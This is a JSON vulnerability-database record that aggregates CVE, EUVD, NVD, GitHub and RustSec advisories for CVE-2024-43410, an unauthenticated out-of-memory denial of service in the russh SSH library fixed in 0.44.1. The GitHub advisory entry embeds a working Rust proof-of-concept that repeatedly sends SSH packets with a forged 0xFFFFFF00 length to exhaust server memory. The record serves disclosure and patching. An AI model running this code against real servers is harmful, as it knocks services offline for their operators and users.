{"id":"EUVD-2024-2664","revision":null,"records":[{"revision":"f6e6670b15e1441a843417d71ec17d91","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2024-43410","aliases":[],"title":"Russh has an OOM Denial of Service due to allocation of untrusted amount","description":"Russh is a Rust SSH client & server library. Allocating an untrusted amount of memory allows any unauthenticated user to OOM a russh server. An SSH packet consists of a 4-byte big-endian length, followed by a byte stream of this length.\nAfter parsing and potentially decrypting the 4-byte length, russh allocates enough memory for this bytestream, as a performance optimization to avoid reallocations later. But this length is entirely untrusted and can be set to any value by the client, causing this much memory to be allocated, which will cause the process to OOM within a few such requests. This vulnerability is fixed in 0.44.1.","state":0,"publishedAt":"2024-08-21T15:09:34.316+00:00","modifiedAt":"2024-08-21T15:35:25.998+00:00","affected":[{"ecosystem":"Vendor product","name":"russh","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"Eugeny\",\n                    \"product\": \"russh\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 0.44.1\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/Eugeny/russh/security/advisories/GHSA-vgvv-x7xg-6cqg","https://github.com/Eugeny/russh/commit/f660ea3f64b86d11d19e33076012069f02431e55"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2024-43410","license":"CVE Program Terms of Use","key":"cve-program:CVE-2024-43410","identifiers":["CVE-2024-43410"]},"retained":false,"historicalAffected":[]},{"revision":"c8823babf2114153814ce2a30aa88886","observedAt":"2026-11-17T03:29:02.006+00:00","statement":{"source":"euvd","id":"EUVD-2024-2664","aliases":["CVE-2024-43410","GHSA-vgvv-x7xg-6cqg"],"title":"Russh is a Rust SSH client & server library. Allocating an untrusted amount of memory allows any unauthenticated user to OOM a russh server. An SSH packet consists of a 4-byte big-endian length, followed by a byte stream of this length.","description":"Russh is a Rust SSH client & server library. Allocating an untrusted amount of memory allows any unauthenticated user to OOM a russh server. An SSH packet consists of a 4-byte big-endian length, followed by a byte stream of this length.\nAfter parsing and potentially decrypting the 4-byte length, russh allocates enough memory for this bytestream, as a performance optimization to avoid reallocations later. But this length is entirely untrusted and can be set to any value by the client, causing this much memory to be allocated, which will cause the process to OOM within a few such requests. This vulnerability is fixed in 0.44.1.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":null}],"references":["https://github.com/Eugeny/russh/security/advisories/GHSA-vgvv-x7xg-6cqg","https://github.com/Eugeny/russh/commit/f660ea3f64b86d11d19e33076012069f02431e55"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2024-2664","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Aug 21, 2024, 3:09:34 PM","dateUpdated":"Aug 21, 2024, 3:35:25 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2024-2664","identifiers":["EUVD-2024-2664","CVE-2024-43410","GHSA-vgvv-x7xg-6cqg"]},"retained":false,"historicalAffected":[]},{"revision":"9ecc6eab413b4b35827c61ac0d962aa6","observedAt":"2026-10-25T00:17:28.27+00:00","statement":{"source":"nvd","id":"CVE-2024-43410","aliases":[],"title":"Russh is a Rust SSH client & server library. Allocating an untrusted amount of memory allows any unauthenticated user to OOM a russh server. An SSH packet consists of a 4-byte big-endian length, followed by a byte stream of this length.","description":"Russh is a Rust SSH client & server library. Allocating an untrusted amount of memory allows any unauthenticated user to OOM a russh server. An SSH packet consists of a 4-byte big-endian length, followed by a byte stream of this length.\nAfter parsing and potentially decrypting the 4-byte length, russh allocates enough memory for this bytestream, as a performance optimization to avoid reallocations later. But this length is entirely untrusted and can be set to any value by the client, causing this much memory to be allocated, which will cause the process to OOM within a few such requests. This vulnerability is fixed in 0.44.1.","state":0,"publishedAt":"2024-08-21T16:15:08.373+00:00","modifiedAt":"2026-06-17T07:50:59.55+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/Eugeny/russh/commit/f660ea3f64b86d11d19e33076012069f02431e55","https://github.com/Eugeny/russh/security/advisories/GHSA-vgvv-x7xg-6cqg"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2024-43410","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-770"],"productCriteria":["cpe:2.3:a:russh_project:russh:*:*:*:*:*:rust:*:*","cpe:2.3:a:warpgate_project:warpgate:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2024-08-21T16:15:08.373","lastModified":"2026-06-17T07:50:59.550"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2024-43410","identifiers":["CVE-2024-43410"]},"retained":false,"historicalAffected":[]},{"revision":"880fe59e1d474b81b277bd2fa7f8fd1b","observedAt":"2026-11-12T08:55:36.464+00:00","statement":{"source":"osv","id":"GHSA-vgvv-x7xg-6cqg","aliases":["CVE-2024-43410","RUSTSEC-2024-0450"],"title":"Russh has an OOM Denial of Service due to allocation of untrusted amount","description":"### Summary\n\nAllocating an untrusted amount of memory allows any unauthenticated user to OOM a russh server.\n\n### Details\n\nAn SSH packet consists of a 4-byte big-endian length, followed by a byte stream of this length.\nAfter parsing and potentially decrypting the 4-byte length, russh allocates enough memory for this bytestream, as a performance optimization to avoid reallocations later.\n\nhttps://github.com/Eugeny/russh/blob/4eaa080e7532662023f75e8fff45b743fe607f8c/russh/src/cipher/mod.rs#L254\n\nBut this length is entirely untrusted and can be set to any value by the client, causing this much memory to be allocated, which will cause the process to OOM within a few such requests.\n\nRFC 4253 contains an explicit section on packet length limits: https://datatracker.ietf.org/doc/html/rfc4253#section-6.1\n\n> However, implementations SHOULD check that the packet length is reasonable in order for the implementation to avoid denial of service and/or buffer overflow attacks.\n\n### PoC\n\nRunning the `echoserver` example on port 2222 (`cd russh && cargo run --release --example echoserver`), the provided Rust program can be executed against this echoserver and will cause it to OOM within a few tries.\n\n<details>\n<summary>Rust code to run against the echo server</summary>\n\n`Cargo.toml`\n```toml\n[package]\nname = \"poc\"\nversion = \"0.1.0\"\nedition = \"2021\"\n\n[dependencies]\nhex-literal = \"=0.4.1\"\n```\n\n`main.rs`\n```rust\nuse std::time::Duration;\nuse std::{error::Error, net::SocketAddr};\n\nuse std::{\n    io::{Read, Write},\n    net::TcpStream,\n};\n\nfn main() -> Result<(), Box<dyn Error>> {\n    loop {\n        attempt()?;\n        eprintln!(\"still running, trying again in a few seconds\");\n        std::thread::sleep(Duration::from_secs(2));\n    }\n}\n\nfn attempt() -> Result<(), Box<dyn Error>> {\n    for i in 0..5 {\n        eprintln!(\"iteration {i}\");\n        let mut s = TcpStream::connect(\"0.0.0.0:2222\".parse::<SocketAddr>().unwrap())?;\n        s.write_all(b\"SSH-2.0-OpenSSH_9.7\\r\\n\")?;\n        s.read(&mut [0; 1000])?;\n        // A KeyExchangeInit copied from an OpenSSH client run but the length has been replaced with 0xFFFFFF00.\n        s.write_all(&hex_literal::hex!(\n            \"\n        ffffff00071401af35150e67f2bc6dc4bc6b5330901900000131736e74727570373631783235353\n        1392d736861353132406f70656e7373682e636f6d2c637572766532353531392d7368613235362c\n        637572766532353531392d736861323536406c69627373682e6f72672c656364682d736861322d6\n        e697374703235362c656364682d736861322d6e697374703338342c656364682d736861322d6e69\n        7374703532312c6469666669652d68656c6c6d616e2d67726f75702d65786368616e67652d73686\n        13235362c6469666669652d68656c6c6d616e2d67726f757031362d7368613531322c6469666669\n        652d68656c6c6d616e2d67726f757031382d7368613531322c6469666669652d68656c6c6d616e2\n        d67726f757031342d7368613235362c6578742d696e666f2d632c6b65782d7374726963742d632d\n        763030406f70656e7373682e636f6d000001cf7373682d656432353531392d636572742d7630314\n        06f70656e7373682e636f6d2c65636473612d736861322d6e697374703235362d636572742d7630\n        31406f70656e7373682e636f6d2c65636473612d736861322d6e697374703338342d636572742d7\n        63031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703532312d63657274\n        2d763031406f70656e7373682e636f6d2c736b2d7373682d656432353531392d636572742d76303\n        1406f70656e7373682e636f6d2c736b2d65636473612d736861322d6e697374703235362d636572\n        742d763031406f70656e7373682e636f6d2c7273612d736861322d3531322d636572742d7630314\n        06f70656e7373682e636f6d2c7273612d736861322d3235362d636572742d763031406f70656e73\n        73682e636f6d2c7373682d656432353531392c65636473612d736861322d6e697374703235362c6\n        5636473612d736861322d6e697374703338342c65636473612d736861322d6e697374703532312c\n        736b2d7373682d65643235353139406f70656e7373682e636f6d2c736b2d65636473612d7368613\n        22d6e69737470323536406f70656e7373682e636f6d2c7273612d736861322d3531322c7273612d\n        736861322d3235360000006c63686163686132302d706f6c7931333035406f70656e7373682e636\n        f6d2c6165733132382d6374722c6165733139322d6374722c6165733235362d6374722c61657331\n        32382d67636d406f70656e7373682e636f6d2c6165733235362d67636d406f70656e7373682e636\n        f6d0000006c63686163686132302d706f6c7931333035406f70656e7373682e636f6d2c61657331\n        32382d6374722c6165733139322d6374722c6165733235362d6374722c6165733132382d67636d4\n        06f70656e7373682e636f6d2c6165733235362d67636d406f70656e7373682e636f6d000000d575\n        6d61632d36342d65746d406f70656e7373682e636f6d2c756d61632d3132382d65746d406f70656\n        e7373682e636f6d2c686d61632d736861322d3235362d65746d406f70656e7373682e636f6d2c68\n        6d61632d736861322d3531322d65746d406f70656e7373682e636f6d2c686d61632d736861312d6\n        5746d406f70656e7373682e636f6d2c756d61632d3634406f70656e7373682e636f6d2c756d6163\n        2d313238406f70656e7373682e636f6d2c686d61632d736861322d3235362c686d61632d7368613\n        22d3531322c686d61632d73686131000000d5756d61632d36342d65746d406f70656e7373682e63\n        6f6d2c756d61632d3132382d65746d406f70656e7373682e636f6d2c686d61632d736861322d323\n        5362d65746d406f70656e7373682e636f6d2c686d61632d736861322d3531322d65746d406f7065\n        6e7373682e636f6d2c686d61632d736861312d65746d406f70656e7373682e636f6d2c756d61632\n        d3634406f70656e7373682e636f6d2c756d61632d313238406f70656e7373682e636f6d2c686d61\n        632d736861322d3235362c686d61632d736861322d3531322c686d61632d736861310000001a6e6\n        f6e652c7a6c6962406f70656e7373682e636f6d2c7a6c69620000001a6e6f6e652c7a6c6962406f\n        70656e7373682e636f6d2c7a6c69620000000000000000000000000000000000000000\n        \"\n        ))?;\n\n        s.shutdown(std::net::Shutdown::Both)?;\n    }\n    Ok(())\n}\n```\n\n</details>\n\n### Impact\n\nDue to this allocation, a russh server can be brought to OOM, causing a DoS.\nSince this happens before authentication, it can be done by any user that has access to the TCP port over the internet.","state":0,"publishedAt":"2024-08-14T21:18:20+00:00","modifiedAt":"2026-11-12T08:10:40.4541282+00:00","affected":[{"ecosystem":"crates.io","name":"russh","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.44.1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/Eugeny/russh/security/advisories/GHSA-vgvv-x7xg-6cqg","https://nvd.nist.gov/vuln/detail/CVE-2024-43410","https://github.com/Eugeny/russh/commit/f660ea3f64b86d11d19e33076012069f02431e55","https://github.com/Eugeny/russh"],"sourceUrl":"https://github.com/advisories/GHSA-vgvv-x7xg-6cqg","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-vgvv-x7xg-6cqg","identifiers":["GHSA-vgvv-x7xg-6cqg","CVE-2024-43410","RUSTSEC-2024-0450"]},"retained":false,"historicalAffected":[]},{"revision":"44a080cee8904df4b15af4bd03693075","observedAt":"2026-11-12T08:55:36.464+00:00","statement":{"source":"osv","id":"RUSTSEC-2024-0450","aliases":["CVE-2024-43410","GHSA-vgvv-x7xg-6cqg"],"title":"Memory exhaustion from an unchecked SSH packet length","description":"When reading a packet, russh took the 4-byte packet length sent by the peer and sized its receive buffer from it without any upper bound. The length is fully controlled by the other side of the connection and is read before authentication, so an unauthenticated client can claim packets of up to about 4 GiB and make a server allocate that much memory per connection. A few such connections are enough to run the process out of memory.\n\nFrom 0.44.1, lengths above 256 KiB are rejected with `Error::PacketSize` before the buffer is sized.","state":0,"publishedAt":"2024-08-14T12:00:00+00:00","modifiedAt":"2026-11-12T08:00:04.0863726+00:00","affected":[{"ecosystem":"crates.io","name":"russh","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0.0.0-0"},{"kind":"fixed","version":"0.44.1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null}],"references":["https://crates.io/crates/russh","https://rustsec.org/advisories/RUSTSEC-2024-0450.html","https://github.com/Eugeny/russh/commit/f660ea3f64b86d11d19e33076012069f02431e55"],"sourceUrl":"https://osv.dev/vulnerability/RUSTSEC-2024-0450","license":"OSV · upstream source license applies","key":"osv:RUSTSEC-2024-0450","identifiers":["RUSTSEC-2024-0450","CVE-2024-43410","GHSA-vgvv-x7xg-6cqg"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-17T14:28:28.5673865+00:00","complete":true,"records":1781,"lastAttemptAt":"2026-11-17T14:28:28.5673865+00:00","lastSuccessAt":"2026-11-17T14:28:28.7552949+00:00","error":null,"lastVerifiedAt":"2026-11-17T14:28:28.7552992+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-30c3da459c38698a15d626d89e52e03e55e19fc45dae0e6d8d723cbf35472cf4-92ddddf39e8499f63c6dfe1fec3cfbc49b1dd553207237d9b7e0b6d0178d42c3","complete":true,"records":426362,"lastAttemptAt":"2026-11-17T14:26:07.0855092+00:00","lastSuccessAt":"2026-11-17T14:26:07.0324827+00:00","error":null,"lastVerifiedAt":"2026-11-17T14:26:07.0855092+00:00","snapshotPublishedAt":"2026-11-17T14:24:16+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-01f4e7f7014a4fec9e6979fd92e40914","complete":false,"records":13840,"lastAttemptAt":"2026-11-17T14:38:35.9525067+00:00","lastSuccessAt":"2026-11-17T14:38:34.936+00:00","error":"480 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-17T14:38:34.936+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13345,"expectedIdentifiers":13890,"failedIdentifiers":480},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-17T14:28:28.5673865+00:00","complete":true,"records":1125,"lastAttemptAt":"2026-11-17T14:28:28.5673865+00:00","lastSuccessAt":"2026-11-17T14:28:28.7561966+00:00","error":null,"lastVerifiedAt":"2026-11-17T14:28:28.7561971+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-e413dea32197449787743e4ec3ca4605","complete":true,"records":13853,"lastAttemptAt":"2026-11-17T14:28:31.3212801+00:00","lastSuccessAt":"2026-11-17T14:28:31.316+00:00","error":null,"lastVerifiedAt":"2026-11-17T14:28:31.316+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13890,"expectedIdentifiers":13890,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-66941ff4149395c0d1a7082fb2226c4cd21c13f3179212d5083b3970d0d2aa5f","complete":true,"records":9958,"lastAttemptAt":"2026-11-17T14:28:23.0777844+00:00","lastSuccessAt":"2026-11-17T07:28:38.090533+00:00","error":null,"lastVerifiedAt":"2026-11-17T14:28:23.0777844+00:00","snapshotPublishedAt":"2026-11-17T07:18:17+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-f4424d7d4861b1af1404bd15abcb83f295dcd003412a9340ca99dc8200aa148a","complete":true,"records":2014,"lastAttemptAt":"2026-11-17T14:26:07.2434276+00:00","lastSuccessAt":"2026-11-13T19:57:08.2864435+00:00","error":null,"lastVerifiedAt":"2026-11-17T14:26:07.2434276+00:00","snapshotPublishedAt":"2026-11-13T19:33:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-07e54771e77eeb56a85f2474e738e80a1c32a44ffdd9f614a99f002a8124ee18","complete":true,"records":3166,"lastAttemptAt":"2026-11-17T14:28:28.5199274+00:00","lastSuccessAt":"2026-11-17T14:28:28.3149756+00:00","error":null,"lastVerifiedAt":"2026-11-17T14:28:28.5199274+00:00","snapshotPublishedAt":"2026-11-17T13:48:28+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-45fcf64ddae57c48c92334d4377c5280af966157b52eead5472576dd2be412aa","complete":true,"records":232598,"lastAttemptAt":"2026-11-17T14:28:22.9355166+00:00","lastSuccessAt":"2026-11-17T14:28:21.6937714+00:00","error":null,"lastVerifiedAt":"2026-11-17T14:28:22.9355166+00:00","snapshotPublishedAt":"2026-11-17T13:33:28+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}